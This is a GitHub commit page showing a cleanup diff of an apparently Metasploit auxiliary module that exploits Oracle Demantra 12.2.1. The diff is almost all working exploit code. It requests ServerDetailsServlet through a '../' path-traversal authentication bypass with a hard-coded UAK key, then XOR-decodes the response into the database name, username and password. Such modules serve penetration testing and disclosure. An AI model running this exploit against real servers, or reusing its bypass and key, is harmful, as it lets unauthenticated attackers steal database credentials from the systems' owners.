Skip to content

Commit f3299e3

Browse files
committed
Do minor code cleanup
1 parent 44640b1 commit f3299e3

File tree

1 file changed

+15
-12
lines changed

1 file changed

+15
-12
lines changed

modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb

Lines changed: 15 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,9 @@ def initialize(info = {})
1515
super(update_info(info,
1616
'Name' => 'Oracle Demantra Database Credentials Leak',
1717
'Description' => %q{
18-
This module exploits a database credentials leak found in Oracle Demantra 12.2.1 in combination with an authentication bypass.
19-
This way an unauthenticated user can retreive the database name, username and password on any vulnerable machine.
18+
This module exploits a database credentials leak found in Oracle Demantra 12.2.1 in
19+
combination with an authentication bypass. This way an unauthenticated user can retrieve
20+
the database name, username and password on any vulnerable machine.
2021
},
2122
'References' =>
2223
[
@@ -43,33 +44,35 @@ def initialize(info = {})
4344
end
4445

4546
def run_host(ip)
46-
authbypass = "/demantra/common/loginCheck.jsp/../../"
47-
staticUAK = "ServerDetailsServlet?UAK=406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1"
4847
res = send_request_cgi({
4948
'method' => 'GET',
50-
'uri' => normalize_uri("#{authbypass}", "#{staticUAK}")
49+
'uri' => normalize_uri('demantra', 'common', 'loginCheck.jsp', '..', '..', 'ServerDetailsServlet'),
50+
'vars_get' => {
51+
'UAK' => '406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1'
52+
}
5153
})
5254

53-
5455
if res.nil? or res.body.empty?
55-
fail_with("No content retrieved from: #{ip}")
56+
vprint_error("#{peer} - No content retrieved from")
57+
return
5658
end
5759

5860
if res.code == 404
59-
print_error("#{rhost}:#{rport} - File not found")
61+
vprint_error("#{peer} - File not found")
6062
return
6163
end
6264

6365
if res.code == 200
64-
print_status("#{ip}:#{rport} returns: #{res.code.to_s}")
65-
6666
creds = ""
67-
print_status("String received: #{res.body.to_s}")
67+
68+
vprint_status("#{peer} - String received: #{res.body.to_s}") unless res.body.blank?
69+
6870
res.body.to_s.split(",").each do|c|
6971
i = c.to_i ^ 0x50
7072
creds += i.chr
7173
end
72-
print_good("Credentials decoded: #{creds}")
74+
print_good("#{peer} - Credentials decoded: #{creds}") unless creds.empty?
7375
end
7476
end
77+
7578
end

0 commit comments

Comments
 (0)